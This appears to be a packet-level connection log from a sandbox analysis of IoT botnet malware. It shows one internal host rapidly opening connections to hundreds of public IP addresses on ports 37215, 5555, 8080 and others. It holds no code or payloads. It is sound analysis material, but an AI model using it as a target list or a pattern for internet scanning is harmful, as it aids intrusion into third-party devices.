Feb 12, 2023 21:24:52.050206900 CET	52981	37215	192.168.2.23	197.220.52.142
Feb 12, 2023 21:24:52.050219059 CET	52981	37215	192.168.2.23	157.231.38.102
Feb 12, 2023 21:24:52.050225973 CET	52981	37215	192.168.2.23	197.13.71.153
Feb 12, 2023 21:24:52.050219059 CET	52981	37215	192.168.2.23	41.175.16.75
Feb 12, 2023 21:24:52.050228119 CET	52981	37215	192.168.2.23	197.212.23.241
Feb 12, 2023 21:24:52.050237894 CET	52981	37215	192.168.2.23	197.42.101.42
Feb 12, 2023 21:24:52.050239086 CET	52981	37215	192.168.2.23	157.87.184.154
Feb 12, 2023 21:24:52.050240040 CET	52981	37215	192.168.2.23	49.90.200.66
Feb 12, 2023 21:24:52.050260067 CET	52981	37215	192.168.2.23	157.53.252.246
Feb 12, 2023 21:24:52.050261021 CET	52981	37215	192.168.2.23	197.99.218.198
Feb 12, 2023 21:24:52.050261021 CET	52981	37215	192.168.2.23	197.224.80.93
Feb 12, 2023 21:24:52.050261974 CET	52981	37215	192.168.2.23	197.28.94.216
Feb 12, 2023 21:24:52.050261974 CET	52981	37215	192.168.2.23	94.247.27.52
Feb 12, 2023 21:24:52.050263882 CET	52981	37215	192.168.2.23	188.172.132.40
Feb 12, 2023 21:24:52.050263882 CET	52981	37215	192.168.2.23	41.148.248.237
Feb 12, 2023 21:24:52.050263882 CET	52981	37215	192.168.2.23	41.80.107.245
Feb 12, 2023 21:24:52.050271034 CET	52981	37215	192.168.2.23	41.248.71.47
Feb 12, 2023 21:24:52.050271034 CET	52981	37215	192.168.2.23	41.79.158.244
Feb 12, 2023 21:24:52.050271034 CET	52981	37215	192.168.2.23	157.244.145.23
Feb 12, 2023 21:24:52.050278902 CET	52981	37215	192.168.2.23	157.116.241.210
Feb 12, 2023 21:24:52.050280094 CET	52981	37215	192.168.2.23	197.194.91.161
Feb 12, 2023 21:24:52.050280094 CET	52981	37215	192.168.2.23	223.221.63.64
Feb 12, 2023 21:24:52.050296068 CET	52981	37215	192.168.2.23	197.177.112.16
Feb 12, 2023 21:24:52.050299883 CET	52981	37215	192.168.2.23	41.106.109.151
Feb 12, 2023 21:24:52.050307035 CET	52981	37215	192.168.2.23	41.63.33.26
Feb 12, 2023 21:24:52.050307035 CET	52981	37215	192.168.2.23	197.194.160.175
Feb 12, 2023 21:24:52.050308943 CET	52981	37215	192.168.2.23	119.18.38.85
Feb 12, 2023 21:24:52.050307035 CET	52981	37215	192.168.2.23	197.162.252.233
Feb 12, 2023 21:24:52.050322056 CET	52981	37215	192.168.2.23	41.8.202.162
Feb 12, 2023 21:24:52.050323963 CET	52981	37215	192.168.2.23	157.46.253.138
Feb 12, 2023 21:24:52.050326109 CET	52981	37215	192.168.2.23	14.177.169.89
Feb 12, 2023 21:24:52.050324917 CET	52981	37215	192.168.2.23	197.121.175.86
Feb 12, 2023 21:24:52.050326109 CET	52981	37215	192.168.2.23	197.5.81.2
Feb 12, 2023 21:24:52.050327063 CET	52981	37215	192.168.2.23	41.182.16.21
Feb 12, 2023 21:24:52.050326109 CET	52981	37215	192.168.2.23	157.30.183.173
Feb 12, 2023 21:24:52.050327063 CET	52981	37215	192.168.2.23	43.249.92.167
Feb 12, 2023 21:24:52.050354004 CET	52981	37215	192.168.2.23	41.188.202.231
Feb 12, 2023 21:24:52.050354004 CET	52981	37215	192.168.2.23	41.224.116.245
Feb 12, 2023 21:24:52.050358057 CET	52981	37215	192.168.2.23	197.1.21.87
Feb 12, 2023 21:24:52.050358057 CET	52981	37215	192.168.2.23	201.57.15.24
Feb 12, 2023 21:24:52.050359011 CET	52981	37215	192.168.2.23	197.119.127.126
Feb 12, 2023 21:24:52.050359011 CET	52981	37215	192.168.2.23	41.142.84.205
Feb 12, 2023 21:24:52.050359011 CET	52981	37215	192.168.2.23	41.183.110.219
Feb 12, 2023 21:24:52.050368071 CET	52981	37215	192.168.2.23	157.236.202.250
Feb 12, 2023 21:24:52.050388098 CET	52981	37215	192.168.2.23	197.83.219.151
Feb 12, 2023 21:24:52.050391912 CET	52981	37215	192.168.2.23	153.120.173.156
Feb 12, 2023 21:24:52.050391912 CET	52981	37215	192.168.2.23	157.81.63.77
Feb 12, 2023 21:24:52.050395012 CET	52981	37215	192.168.2.23	197.252.29.153
Feb 12, 2023 21:24:52.050391912 CET	52981	37215	192.168.2.23	157.12.156.158
Feb 12, 2023 21:24:52.050400019 CET	52981	37215	192.168.2.23	41.234.40.153
Feb 12, 2023 21:24:52.050405025 CET	52981	37215	192.168.2.23	41.99.241.155
Feb 12, 2023 21:24:52.050421000 CET	52981	37215	192.168.2.23	157.40.71.0
Feb 12, 2023 21:24:52.050429106 CET	52981	37215	192.168.2.23	197.76.188.51
Feb 12, 2023 21:24:52.050446033 CET	52981	37215	192.168.2.23	122.202.1.93
Feb 12, 2023 21:24:52.050448895 CET	52981	37215	192.168.2.23	197.66.63.41
Feb 12, 2023 21:24:52.050463915 CET	52981	37215	192.168.2.23	157.61.167.101
Feb 12, 2023 21:24:52.050473928 CET	52981	37215	192.168.2.23	197.218.88.109
Feb 12, 2023 21:24:52.061320066 CET	5555	22272	220.117.160.183	192.168.2.23
Feb 12, 2023 21:24:52.116283894 CET	37215	52981	197.194.160.175	192.168.2.23
Feb 12, 2023 21:24:52.116441965 CET	52981	37215	192.168.2.23	197.194.160.175
Feb 12, 2023 21:24:52.127233982 CET	37215	52981	41.234.86.113	192.168.2.23
Feb 12, 2023 21:24:52.143614054 CET	37215	52981	197.7.20.192	192.168.2.23
Feb 12, 2023 21:24:52.175658941 CET	57464	8080	192.168.2.23	53.49.46.50
Feb 12, 2023 21:24:52.195468903 CET	38208	80	192.168.2.23	49.48.51.46
Feb 12, 2023 21:24:52.207575083 CET	51782	8080	192.168.2.23	51.55.46.57
Feb 12, 2023 21:24:52.207575083 CET	46172	8080	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:52.207592964 CET	60538	8080	192.168.2.23	49.53.50.46
Feb 12, 2023 21:24:52.239578009 CET	58940	8080	192.168.2.23	49.57.52.46
Feb 12, 2023 21:24:52.239614964 CET	58566	8080	192.168.2.23	50.57.46.49
Feb 12, 2023 21:24:52.239706993 CET	36322	80	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:52.239712954 CET	40280	8080	192.168.2.23	49.52.48.46
Feb 12, 2023 21:24:52.246417046 CET	37215	52981	41.139.164.23	192.168.2.23
Feb 12, 2023 21:24:52.247410059 CET	37215	52981	157.48.198.229	192.168.2.23
Feb 12, 2023 21:24:52.262804985 CET	37215	52981	41.221.95.246	192.168.2.23
Feb 12, 2023 21:24:52.271629095 CET	55712	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:52.271652937 CET	49076	8080	192.168.2.23	56.57.46.50
Feb 12, 2023 21:24:52.303642988 CET	46264	8080	192.168.2.23	57.55.46.55
Feb 12, 2023 21:24:52.309748888 CET	37215	52981	121.141.15.149	192.168.2.23
Feb 12, 2023 21:24:52.342565060 CET	37215	52981	153.120.173.156	192.168.2.23
Feb 12, 2023 21:24:52.396871090 CET	37215	52981	197.5.81.2	192.168.2.23
Feb 12, 2023 21:24:52.499995947 CET	51532	81	192.168.2.23	49.53.49.46
Feb 12, 2023 21:24:52.527730942 CET	47944	49152	192.168.2.23	48.46.49.49
Feb 12, 2023 21:24:52.591636896 CET	42740	37215	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:52.591636896 CET	48900	37215	192.168.2.23	49.53.50.46
Feb 12, 2023 21:24:52.591659069 CET	54076	37215	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:52.591695070 CET	33058	37215	192.168.2.23	50.48.48.46
Feb 12, 2023 21:24:52.591695070 CET	44908	37215	192.168.2.23	49.48.51.46
Feb 12, 2023 21:24:52.802826881 CET	40332	80	192.168.2.23	49.53.49.46
Feb 12, 2023 21:24:52.807404041 CET	22272	5555	192.168.2.23	84.231.21.246
Feb 12, 2023 21:24:52.807446957 CET	22272	5555	192.168.2.23	86.183.169.159
Feb 12, 2023 21:24:52.807446957 CET	22272	5555	192.168.2.23	195.30.57.117
Feb 12, 2023 21:24:52.807461977 CET	22272	5555	192.168.2.23	14.111.160.129
Feb 12, 2023 21:24:52.807502031 CET	22272	5555	192.168.2.23	130.121.225.239
Feb 12, 2023 21:24:52.807522058 CET	22272	5555	192.168.2.23	13.205.18.33
Feb 12, 2023 21:24:52.807544947 CET	22272	5555	192.168.2.23	126.241.133.199
Feb 12, 2023 21:24:52.807549953 CET	22272	5555	192.168.2.23	75.182.171.53
Feb 12, 2023 21:24:52.807562113 CET	22272	5555	192.168.2.23	86.186.238.30
Feb 12, 2023 21:24:52.807579994 CET	22272	5555	192.168.2.23	194.134.187.142
Feb 12, 2023 21:24:52.807579994 CET	22272	5555	192.168.2.23	79.222.63.105
Feb 12, 2023 21:24:52.807765961 CET	22272	5555	192.168.2.23	192.215.142.92
Feb 12, 2023 21:24:52.807787895 CET	22272	5555	192.168.2.23	136.158.173.132
Feb 12, 2023 21:24:52.807820082 CET	22272	5555	192.168.2.23	49.189.94.106
Feb 12, 2023 21:24:52.807869911 CET	22272	5555	192.168.2.23	189.214.6.243
Feb 12, 2023 21:24:52.807843924 CET	22272	5555	192.168.2.23	35.183.39.192
Feb 12, 2023 21:24:52.807843924 CET	22272	5555	192.168.2.23	17.15.107.151
Feb 12, 2023 21:24:52.807933092 CET	22272	5555	192.168.2.23	83.2.103.23
Feb 12, 2023 21:24:52.807970047 CET	22272	5555	192.168.2.23	78.8.247.28
Feb 12, 2023 21:24:52.807979107 CET	22272	5555	192.168.2.23	138.210.232.204
Feb 12, 2023 21:24:52.808073044 CET	22272	5555	192.168.2.23	148.159.21.110
Feb 12, 2023 21:24:52.808099985 CET	22272	5555	192.168.2.23	205.220.50.83
Feb 12, 2023 21:24:52.808160067 CET	22272	5555	192.168.2.23	173.59.129.55
Feb 12, 2023 21:24:52.808198929 CET	22272	5555	192.168.2.23	97.185.18.184
Feb 12, 2023 21:24:52.808204889 CET	22272	5555	192.168.2.23	188.65.102.237
Feb 12, 2023 21:24:52.808233976 CET	22272	5555	192.168.2.23	153.51.7.229
Feb 12, 2023 21:24:52.808249950 CET	22272	5555	192.168.2.23	63.204.204.57
Feb 12, 2023 21:24:52.808296919 CET	22272	5555	192.168.2.23	166.189.56.183
Feb 12, 2023 21:24:52.808346033 CET	22272	5555	192.168.2.23	8.150.44.91
Feb 12, 2023 21:24:52.808393955 CET	22272	5555	192.168.2.23	47.65.150.51
Feb 12, 2023 21:24:52.808398008 CET	22272	5555	192.168.2.23	135.164.128.43
Feb 12, 2023 21:24:52.808439016 CET	22272	5555	192.168.2.23	216.88.72.221
Feb 12, 2023 21:24:52.808439016 CET	22272	5555	192.168.2.23	14.234.178.14
Feb 12, 2023 21:24:52.808469057 CET	22272	5555	192.168.2.23	132.121.103.109
Feb 12, 2023 21:24:52.808473110 CET	22272	5555	192.168.2.23	159.254.66.122
Feb 12, 2023 21:24:52.808484077 CET	22272	5555	192.168.2.23	115.71.6.18
Feb 12, 2023 21:24:52.808501959 CET	22272	5555	192.168.2.23	36.208.15.80
Feb 12, 2023 21:24:52.808521986 CET	22272	5555	192.168.2.23	5.124.166.140
Feb 12, 2023 21:24:52.808571100 CET	22272	5555	192.168.2.23	223.242.132.242
Feb 12, 2023 21:24:52.808574915 CET	22272	5555	192.168.2.23	165.12.64.187
Feb 12, 2023 21:24:52.808578968 CET	22272	5555	192.168.2.23	32.52.143.168
Feb 12, 2023 21:24:52.808619022 CET	22272	5555	192.168.2.23	197.191.68.43
Feb 12, 2023 21:24:52.808626890 CET	22272	5555	192.168.2.23	183.254.50.47
Feb 12, 2023 21:24:52.808638096 CET	22272	5555	192.168.2.23	18.41.30.62
Feb 12, 2023 21:24:52.808675051 CET	22272	5555	192.168.2.23	180.18.158.230
Feb 12, 2023 21:24:52.808682919 CET	22272	5555	192.168.2.23	23.159.107.109
Feb 12, 2023 21:24:52.808686972 CET	22272	5555	192.168.2.23	64.253.65.15
Feb 12, 2023 21:24:52.808716059 CET	22272	5555	192.168.2.23	168.87.66.55
Feb 12, 2023 21:24:52.808737993 CET	22272	5555	192.168.2.23	149.239.9.201
Feb 12, 2023 21:24:52.808737993 CET	22272	5555	192.168.2.23	91.245.223.157
Feb 12, 2023 21:24:52.808748960 CET	22272	5555	192.168.2.23	104.22.23.204
Feb 12, 2023 21:24:52.808743954 CET	22272	5555	192.168.2.23	137.128.211.237
Feb 12, 2023 21:24:52.808758974 CET	22272	5555	192.168.2.23	113.6.154.243
Feb 12, 2023 21:24:52.808777094 CET	22272	5555	192.168.2.23	220.19.13.195
Feb 12, 2023 21:24:52.808798075 CET	22272	5555	192.168.2.23	27.47.10.210
Feb 12, 2023 21:24:52.808818102 CET	22272	5555	192.168.2.23	198.94.242.27
Feb 12, 2023 21:24:52.808835983 CET	22272	5555	192.168.2.23	191.253.147.234
Feb 12, 2023 21:24:52.808847904 CET	22272	5555	192.168.2.23	92.225.47.146
Feb 12, 2023 21:24:52.808851957 CET	22272	5555	192.168.2.23	17.103.17.114
Feb 12, 2023 21:24:52.808867931 CET	22272	5555	192.168.2.23	104.59.210.55
Feb 12, 2023 21:24:52.808907032 CET	22272	5555	192.168.2.23	42.185.49.155
Feb 12, 2023 21:24:52.808907032 CET	22272	5555	192.168.2.23	200.174.140.142
Feb 12, 2023 21:24:52.809005022 CET	22272	5555	192.168.2.23	95.90.143.83
Feb 12, 2023 21:24:52.809005022 CET	22272	5555	192.168.2.23	91.201.17.53
Feb 12, 2023 21:24:52.809005022 CET	22272	5555	192.168.2.23	14.174.18.219
Feb 12, 2023 21:24:52.809012890 CET	22272	5555	192.168.2.23	212.234.237.236
Feb 12, 2023 21:24:52.809012890 CET	22272	5555	192.168.2.23	202.228.31.184
Feb 12, 2023 21:24:52.809030056 CET	22272	5555	192.168.2.23	142.192.134.85
Feb 12, 2023 21:24:52.809079885 CET	22272	5555	192.168.2.23	23.229.26.116
Feb 12, 2023 21:24:52.809082985 CET	22272	5555	192.168.2.23	14.203.60.30
Feb 12, 2023 21:24:52.809118986 CET	22272	5555	192.168.2.23	185.171.59.90
Feb 12, 2023 21:24:52.809142113 CET	22272	5555	192.168.2.23	133.254.116.149
Feb 12, 2023 21:24:52.809159994 CET	22272	5555	192.168.2.23	120.112.89.95
Feb 12, 2023 21:24:52.809160948 CET	22272	5555	192.168.2.23	137.113.78.189
Feb 12, 2023 21:24:52.809160948 CET	22272	5555	192.168.2.23	35.111.78.139
Feb 12, 2023 21:24:52.809160948 CET	22272	5555	192.168.2.23	80.226.28.4
Feb 12, 2023 21:24:52.809199095 CET	22272	5555	192.168.2.23	204.17.183.13
Feb 12, 2023 21:24:52.809204102 CET	22272	5555	192.168.2.23	69.79.33.173
Feb 12, 2023 21:24:52.809237957 CET	22272	5555	192.168.2.23	155.143.173.143
Feb 12, 2023 21:24:52.809238911 CET	22272	5555	192.168.2.23	119.83.71.7
Feb 12, 2023 21:24:52.809259892 CET	22272	5555	192.168.2.23	142.11.52.65
Feb 12, 2023 21:24:52.809267044 CET	22272	5555	192.168.2.23	93.19.152.150
Feb 12, 2023 21:24:52.809308052 CET	22272	5555	192.168.2.23	46.252.223.131
Feb 12, 2023 21:24:52.809323072 CET	22272	5555	192.168.2.23	31.197.118.0
Feb 12, 2023 21:24:52.809322119 CET	22272	5555	192.168.2.23	41.145.121.215
Feb 12, 2023 21:24:52.809355974 CET	22272	5555	192.168.2.23	36.84.52.150
Feb 12, 2023 21:24:52.809367895 CET	22272	5555	192.168.2.23	120.121.246.255
Feb 12, 2023 21:24:52.809375048 CET	22272	5555	192.168.2.23	138.62.157.189
Feb 12, 2023 21:24:52.809393883 CET	22272	5555	192.168.2.23	206.243.208.72
Feb 12, 2023 21:24:52.809417009 CET	22272	5555	192.168.2.23	88.40.219.124
Feb 12, 2023 21:24:52.809429884 CET	22272	5555	192.168.2.23	5.95.149.48
Feb 12, 2023 21:24:52.809467077 CET	22272	5555	192.168.2.23	157.254.98.84
Feb 12, 2023 21:24:52.809465885 CET	22272	5555	192.168.2.23	118.124.255.170
Feb 12, 2023 21:24:52.809483051 CET	22272	5555	192.168.2.23	19.114.154.18
Feb 12, 2023 21:24:52.809503078 CET	22272	5555	192.168.2.23	68.219.230.15
Feb 12, 2023 21:24:52.809526920 CET	22272	5555	192.168.2.23	137.38.171.224
Feb 12, 2023 21:24:52.809537888 CET	22272	5555	192.168.2.23	95.41.55.126
Feb 12, 2023 21:24:52.809552908 CET	22272	5555	192.168.2.23	132.14.20.93
Feb 12, 2023 21:24:52.809567928 CET	22272	5555	192.168.2.23	90.29.189.20
Feb 12, 2023 21:24:52.809580088 CET	22272	5555	192.168.2.23	2.70.44.6
Feb 12, 2023 21:24:52.809614897 CET	22272	5555	192.168.2.23	111.3.217.71
Feb 12, 2023 21:24:52.809647083 CET	22272	5555	192.168.2.23	147.151.82.48
Feb 12, 2023 21:24:52.809678078 CET	22272	5555	192.168.2.23	155.204.141.186
Feb 12, 2023 21:24:52.809679031 CET	22272	5555	192.168.2.23	77.115.70.182
Feb 12, 2023 21:24:52.809680939 CET	22272	5555	192.168.2.23	98.199.99.12
Feb 12, 2023 21:24:52.809698105 CET	22272	5555	192.168.2.23	8.74.162.84
Feb 12, 2023 21:24:52.809698105 CET	22272	5555	192.168.2.23	141.63.31.172
Feb 12, 2023 21:24:52.809705973 CET	22272	5555	192.168.2.23	139.8.114.225
Feb 12, 2023 21:24:52.809710026 CET	22272	5555	192.168.2.23	187.249.173.99
Feb 12, 2023 21:24:52.809735060 CET	22272	5555	192.168.2.23	129.74.118.31
Feb 12, 2023 21:24:52.809751034 CET	22272	5555	192.168.2.23	139.41.15.68
Feb 12, 2023 21:24:52.809755087 CET	22272	5555	192.168.2.23	52.15.205.19
Feb 12, 2023 21:24:52.809776068 CET	22272	5555	192.168.2.23	196.98.88.225
Feb 12, 2023 21:24:52.809789896 CET	22272	5555	192.168.2.23	93.175.51.221
Feb 12, 2023 21:24:52.809812069 CET	22272	5555	192.168.2.23	96.200.117.82
Feb 12, 2023 21:24:52.809858084 CET	22272	5555	192.168.2.23	139.53.0.172
Feb 12, 2023 21:24:52.809868097 CET	22272	5555	192.168.2.23	165.180.125.151
Feb 12, 2023 21:24:52.809875965 CET	22272	5555	192.168.2.23	176.167.185.60
Feb 12, 2023 21:24:52.809942007 CET	22272	5555	192.168.2.23	158.133.86.247
Feb 12, 2023 21:24:52.809942007 CET	22272	5555	192.168.2.23	144.44.153.128
Feb 12, 2023 21:24:52.809947014 CET	22272	5555	192.168.2.23	94.69.113.69
Feb 12, 2023 21:24:52.809947014 CET	22272	5555	192.168.2.23	139.19.146.117
Feb 12, 2023 21:24:52.809972048 CET	22272	5555	192.168.2.23	172.154.150.56
Feb 12, 2023 21:24:52.809993982 CET	22272	5555	192.168.2.23	93.75.106.84
Feb 12, 2023 21:24:52.810036898 CET	22272	5555	192.168.2.23	40.143.132.31
Feb 12, 2023 21:24:52.810036898 CET	22272	5555	192.168.2.23	117.77.163.75
Feb 12, 2023 21:24:52.810071945 CET	22272	5555	192.168.2.23	40.221.47.186
Feb 12, 2023 21:24:52.810081959 CET	22272	5555	192.168.2.23	66.80.35.244
Feb 12, 2023 21:24:52.810108900 CET	22272	5555	192.168.2.23	209.147.4.176
Feb 12, 2023 21:24:52.810115099 CET	22272	5555	192.168.2.23	110.45.10.185
Feb 12, 2023 21:24:52.810117006 CET	22272	5555	192.168.2.23	116.17.134.33
Feb 12, 2023 21:24:52.810117006 CET	22272	5555	192.168.2.23	154.141.249.204
Feb 12, 2023 21:24:52.810127974 CET	22272	5555	192.168.2.23	139.168.162.103
Feb 12, 2023 21:24:52.810127974 CET	22272	5555	192.168.2.23	154.63.230.39
Feb 12, 2023 21:24:52.810141087 CET	22272	5555	192.168.2.23	60.115.207.9
Feb 12, 2023 21:24:52.810151100 CET	22272	5555	192.168.2.23	186.239.212.54
Feb 12, 2023 21:24:52.810154915 CET	22272	5555	192.168.2.23	198.74.255.225
Feb 12, 2023 21:24:52.810157061 CET	22272	5555	192.168.2.23	146.92.238.111
Feb 12, 2023 21:24:52.810157061 CET	22272	5555	192.168.2.23	109.2.74.59
Feb 12, 2023 21:24:52.810157061 CET	22272	5555	192.168.2.23	174.173.65.204
Feb 12, 2023 21:24:52.810201883 CET	22272	5555	192.168.2.23	9.62.38.197
Feb 12, 2023 21:24:52.810203075 CET	22272	5555	192.168.2.23	44.63.117.5
Feb 12, 2023 21:24:52.810204029 CET	22272	5555	192.168.2.23	2.186.220.80
Feb 12, 2023 21:24:52.810223103 CET	22272	5555	192.168.2.23	78.128.44.171
Feb 12, 2023 21:24:52.810240984 CET	22272	5555	192.168.2.23	138.120.155.145
Feb 12, 2023 21:24:52.810245037 CET	22272	5555	192.168.2.23	24.110.225.244
Feb 12, 2023 21:24:52.810269117 CET	22272	5555	192.168.2.23	115.70.165.53
Feb 12, 2023 21:24:52.810269117 CET	22272	5555	192.168.2.23	87.91.90.77
Feb 12, 2023 21:24:52.810285091 CET	22272	5555	192.168.2.23	50.170.173.12
Feb 12, 2023 21:24:52.810322046 CET	22272	5555	192.168.2.23	137.162.59.67
Feb 12, 2023 21:24:52.810326099 CET	22272	5555	192.168.2.23	202.204.125.99
Feb 12, 2023 21:24:52.810332060 CET	22272	5555	192.168.2.23	32.254.130.255
Feb 12, 2023 21:24:52.810348988 CET	22272	5555	192.168.2.23	64.92.179.150
Feb 12, 2023 21:24:52.810353994 CET	22272	5555	192.168.2.23	193.89.235.7
Feb 12, 2023 21:24:52.810364008 CET	22272	5555	192.168.2.23	185.232.186.86
Feb 12, 2023 21:24:52.810365915 CET	22272	5555	192.168.2.23	49.234.0.76
Feb 12, 2023 21:24:52.810365915 CET	22272	5555	192.168.2.23	203.146.244.195
Feb 12, 2023 21:24:52.810365915 CET	22272	5555	192.168.2.23	156.239.63.150
Feb 12, 2023 21:24:52.810365915 CET	22272	5555	192.168.2.23	132.205.196.146
Feb 12, 2023 21:24:52.810365915 CET	22272	5555	192.168.2.23	121.190.11.63
Feb 12, 2023 21:24:52.847620010 CET	41394	8080	192.168.2.23	48.46.49.49
Feb 12, 2023 21:24:52.859757900 CET	5555	22272	78.8.247.28	192.168.2.23
Feb 12, 2023 21:24:52.911617994 CET	46860	7574	192.168.2.23	49.48.51.46
Feb 12, 2023 21:24:52.938440084 CET	5555	22272	83.2.103.23	192.168.2.23
Feb 12, 2023 21:24:52.943825960 CET	5555	22272	142.11.52.65	192.168.2.23
Feb 12, 2023 21:24:52.943989038 CET	22272	5555	192.168.2.23	142.11.52.65
Feb 12, 2023 21:24:53.051918030 CET	52981	37215	192.168.2.23	157.142.247.30
Feb 12, 2023 21:24:53.051918030 CET	52981	37215	192.168.2.23	120.11.201.177
Feb 12, 2023 21:24:53.051935911 CET	52981	37215	192.168.2.23	197.203.12.5
Feb 12, 2023 21:24:53.051943064 CET	52981	37215	192.168.2.23	157.76.232.205
Feb 12, 2023 21:24:53.051948071 CET	52981	37215	192.168.2.23	157.208.87.175
Feb 12, 2023 21:24:53.051949024 CET	52981	37215	192.168.2.23	197.161.80.17
Feb 12, 2023 21:24:53.051949024 CET	52981	37215	192.168.2.23	157.209.116.124
Feb 12, 2023 21:24:53.051994085 CET	52981	37215	192.168.2.23	41.91.28.56
Feb 12, 2023 21:24:53.051995993 CET	52981	37215	192.168.2.23	197.158.56.73
Feb 12, 2023 21:24:53.051994085 CET	52981	37215	192.168.2.23	41.32.230.244
Feb 12, 2023 21:24:53.051994085 CET	52981	37215	192.168.2.23	197.180.75.162
Feb 12, 2023 21:24:53.051999092 CET	52981	37215	192.168.2.23	157.222.64.206
Feb 12, 2023 21:24:53.052004099 CET	52981	37215	192.168.2.23	157.215.29.2
Feb 12, 2023 21:24:53.052004099 CET	52981	37215	192.168.2.23	197.144.163.138
Feb 12, 2023 21:24:53.052004099 CET	52981	37215	192.168.2.23	197.82.204.44
Feb 12, 2023 21:24:53.052004099 CET	52981	37215	192.168.2.23	197.83.19.232
Feb 12, 2023 21:24:53.052011967 CET	52981	37215	192.168.2.23	197.210.227.153
Feb 12, 2023 21:24:53.052021980 CET	52981	37215	192.168.2.23	41.105.143.69
Feb 12, 2023 21:24:53.052028894 CET	52981	37215	192.168.2.23	91.47.206.134
Feb 12, 2023 21:24:53.052028894 CET	52981	37215	192.168.2.23	157.56.153.201
Feb 12, 2023 21:24:53.052050114 CET	52981	37215	192.168.2.23	197.45.105.61
Feb 12, 2023 21:24:53.052050114 CET	52981	37215	192.168.2.23	145.220.121.92
Feb 12, 2023 21:24:53.052050114 CET	52981	37215	192.168.2.23	197.240.120.106
Feb 12, 2023 21:24:53.052050114 CET	52981	37215	192.168.2.23	41.203.158.182
Feb 12, 2023 21:24:53.052082062 CET	52981	37215	192.168.2.23	197.17.37.122
Feb 12, 2023 21:24:53.052086115 CET	52981	37215	192.168.2.23	85.123.42.80
Feb 12, 2023 21:24:53.052114010 CET	52981	37215	192.168.2.23	157.78.37.98
Feb 12, 2023 21:24:53.052118063 CET	52981	37215	192.168.2.23	101.56.33.97
Feb 12, 2023 21:24:53.052118063 CET	52981	37215	192.168.2.23	207.46.75.173
Feb 12, 2023 21:24:53.052135944 CET	52981	37215	192.168.2.23	197.238.85.181
Feb 12, 2023 21:24:53.052145958 CET	52981	37215	192.168.2.23	197.11.37.136
Feb 12, 2023 21:24:53.052150965 CET	52981	37215	192.168.2.23	157.125.223.142
Feb 12, 2023 21:24:53.052160025 CET	52981	37215	192.168.2.23	197.216.148.120
Feb 12, 2023 21:24:53.052170038 CET	52981	37215	192.168.2.23	197.164.217.31
Feb 12, 2023 21:24:53.052181005 CET	52981	37215	192.168.2.23	41.133.219.177
Feb 12, 2023 21:24:53.052181005 CET	52981	37215	192.168.2.23	197.243.194.201
Feb 12, 2023 21:24:53.052189112 CET	52981	37215	192.168.2.23	91.58.102.52
Feb 12, 2023 21:24:53.052207947 CET	52981	37215	192.168.2.23	197.79.215.111
Feb 12, 2023 21:24:53.052213907 CET	52981	37215	192.168.2.23	157.220.116.239
Feb 12, 2023 21:24:53.052222967 CET	52981	37215	192.168.2.23	41.79.143.79
Feb 12, 2023 21:24:53.052227020 CET	52981	37215	192.168.2.23	157.201.243.61
Feb 12, 2023 21:24:53.052232981 CET	52981	37215	192.168.2.23	157.3.35.177
Feb 12, 2023 21:24:53.052262068 CET	52981	37215	192.168.2.23	197.78.155.55
Feb 12, 2023 21:24:53.052263021 CET	52981	37215	192.168.2.23	37.29.185.83
Feb 12, 2023 21:24:53.052263021 CET	52981	37215	192.168.2.23	197.80.77.79
Feb 12, 2023 21:24:53.052282095 CET	52981	37215	192.168.2.23	197.31.148.174
Feb 12, 2023 21:24:53.052284002 CET	52981	37215	192.168.2.23	137.173.119.135
Feb 12, 2023 21:24:53.052299023 CET	52981	37215	192.168.2.23	197.14.88.69
Feb 12, 2023 21:24:53.052309036 CET	52981	37215	192.168.2.23	41.154.181.116
Feb 12, 2023 21:24:53.052314997 CET	52981	37215	192.168.2.23	197.50.18.239
Feb 12, 2023 21:24:53.052314997 CET	52981	37215	192.168.2.23	157.6.225.232
Feb 12, 2023 21:24:53.052320004 CET	52981	37215	192.168.2.23	157.109.132.141
Feb 12, 2023 21:24:53.052335024 CET	52981	37215	192.168.2.23	92.58.95.27
Feb 12, 2023 21:24:53.052335978 CET	52981	37215	192.168.2.23	197.8.218.200
Feb 12, 2023 21:24:53.052336931 CET	52981	37215	192.168.2.23	41.133.237.65
Feb 12, 2023 21:24:53.052350998 CET	52981	37215	192.168.2.23	157.182.73.62
Feb 12, 2023 21:24:53.052371979 CET	52981	37215	192.168.2.23	197.104.47.98
Feb 12, 2023 21:24:53.052380085 CET	52981	37215	192.168.2.23	197.113.11.177
Feb 12, 2023 21:24:53.052388906 CET	52981	37215	192.168.2.23	197.129.82.40
Feb 12, 2023 21:24:53.052388906 CET	52981	37215	192.168.2.23	40.96.174.138
Feb 12, 2023 21:24:53.052414894 CET	52981	37215	192.168.2.23	41.73.201.3
Feb 12, 2023 21:24:53.052414894 CET	52981	37215	192.168.2.23	157.75.20.205
Feb 12, 2023 21:24:53.052417994 CET	52981	37215	192.168.2.23	41.172.248.90
Feb 12, 2023 21:24:53.052426100 CET	52981	37215	192.168.2.23	157.4.174.252
Feb 12, 2023 21:24:53.052443027 CET	52981	37215	192.168.2.23	157.113.179.194
Feb 12, 2023 21:24:53.052448034 CET	52981	37215	192.168.2.23	223.242.185.248
Feb 12, 2023 21:24:53.052464008 CET	52981	37215	192.168.2.23	41.139.155.115
Feb 12, 2023 21:24:53.052468061 CET	52981	37215	192.168.2.23	210.201.33.86
Feb 12, 2023 21:24:53.052469969 CET	52981	37215	192.168.2.23	197.166.29.110
Feb 12, 2023 21:24:53.052470922 CET	52981	37215	192.168.2.23	157.171.165.218
Feb 12, 2023 21:24:53.052470922 CET	52981	37215	192.168.2.23	197.224.2.230
Feb 12, 2023 21:24:53.052490950 CET	52981	37215	192.168.2.23	157.232.70.252
Feb 12, 2023 21:24:53.052490950 CET	52981	37215	192.168.2.23	41.17.88.132
Feb 12, 2023 21:24:53.052495956 CET	52981	37215	192.168.2.23	157.142.106.249
Feb 12, 2023 21:24:53.052534103 CET	52981	37215	192.168.2.23	157.122.83.212
Feb 12, 2023 21:24:53.052540064 CET	52981	37215	192.168.2.23	157.3.230.250
Feb 12, 2023 21:24:53.052542925 CET	52981	37215	192.168.2.23	197.136.241.41
Feb 12, 2023 21:24:53.052540064 CET	52981	37215	192.168.2.23	41.162.241.207
Feb 12, 2023 21:24:53.052550077 CET	52981	37215	192.168.2.23	78.145.55.183
